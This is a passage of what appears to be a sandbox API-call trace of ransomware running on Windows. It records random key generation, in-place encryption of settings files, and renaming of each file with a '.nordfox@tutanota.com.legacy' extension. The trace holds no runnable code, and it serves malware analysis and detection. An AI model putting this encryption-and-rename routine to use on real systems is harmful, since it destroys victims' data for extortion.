dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.491] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.491] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.491] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.492] CloseHandle (hObject=0x1c24) returned 1 [0197.492] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DefaultApps_Photos.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_defaultapps_photos.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DefaultApps_Photos.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_defaultapps_photos.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.495] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0197.495] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.495] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DefaultApps_Map.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.495] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6ac0, nNumberOfBytesToRead=0x4b3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6ac0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4b3, lpOverlapped=0x0) returned 1 [0197.497] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1203, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.497] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4b3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4b3, lpOverlapped=0x0) returned 1 [0197.497] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4b3 [0197.497] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.497] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.497] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.498] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.498] CloseHandle (hObject=0x1c24) returned 1 [0197.498] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DefaultApps_Map.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_defaultapps_map.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DefaultApps_Map.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_defaultapps_map.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.500] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.500] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0197.500] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DefaultApps_Email.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.501] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4bd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4bd, lpOverlapped=0x0) returned 1 [0197.502] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1213, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.502] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4bd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4bd, lpOverlapped=0x0) returned 1 [0197.502] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4bd [0197.502] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.502] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.502] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.503] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.503] CloseHandle (hObject=0x1c24) returned 1 [0197.503] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DefaultApps_Email.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_defaultapps_email.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DefaultApps_Email.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_defaultapps_email.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.505] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.505] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0197.505] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DefaultApps_Browser.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.505] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4c7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4c7, lpOverlapped=0x0) returned 1 [0197.506] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1223, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.506] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4c7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4c7, lpOverlapped=0x0) returned 1 [0197.507] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4c7 [0197.507] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.507] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.507] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.507] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.507] CloseHandle (hObject=0x1c24) returned 1 [0197.508] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DefaultApps_Browser.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_defaultapps_browser.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DefaultApps_Browser.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_defaultapps_browser.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.509] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.509] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0197.509] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DefaultApps_Audio.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.510] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4bd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4bd, lpOverlapped=0x0) returned 1 [0197.522] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1213, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.522] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4bd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4bd, lpOverlapped=0x0) returned 1 [0197.523] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4bd [0197.523] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.523] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.523] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.523] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.524] CloseHandle (hObject=0x1c24) returned 1 [0197.524] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DefaultApps_Audio.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_defaultapps_audio.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DefaultApps_Audio.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_defaultapps_audio.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.527] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.527] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0197.527] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_TimezoneInfo.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.528] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0197.529] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.529] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0197.529] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d4 [0197.529] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.529] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.529] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.530] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.530] CloseHandle (hObject=0x1c24) returned 1 [0197.530] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_TimezoneInfo.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_datetime_timezoneinfo.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_TimezoneInfo.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_datetime_timezoneinfo.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.532] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0197.532] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.532] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_SetFormats.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.532] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4d7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d7, lpOverlapped=0x0) returned 1 [0197.533] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1239, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.534] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4d7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d7, lpOverlapped=0x0) returned 1 [0197.534] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d7 [0197.534] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.534] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.534] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.535] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.535] CloseHandle (hObject=0x1c24) returned 1 [0197.535] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_SetFormats.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_datetime_setformats.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_SetFormats.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_datetime_setformats.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.537] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.537] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0197.537] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_Set.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.537] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6ac0, nNumberOfBytesToRead=0x4a7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6ac0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4a7, lpOverlapped=0x0) returned 1 [0197.545] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1191, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.545] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4a7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4a7, lpOverlapped=0x0) returned 1 [0197.546] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4a7 [0197.546] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.546] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.546] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.547] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.547] CloseHandle (hObject=0x1c24) returned 1 [0197.547] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_Set.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_datetime_set.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_Set.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_datetime_set.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.550] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.550] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0197.550] SetFileAttributesW 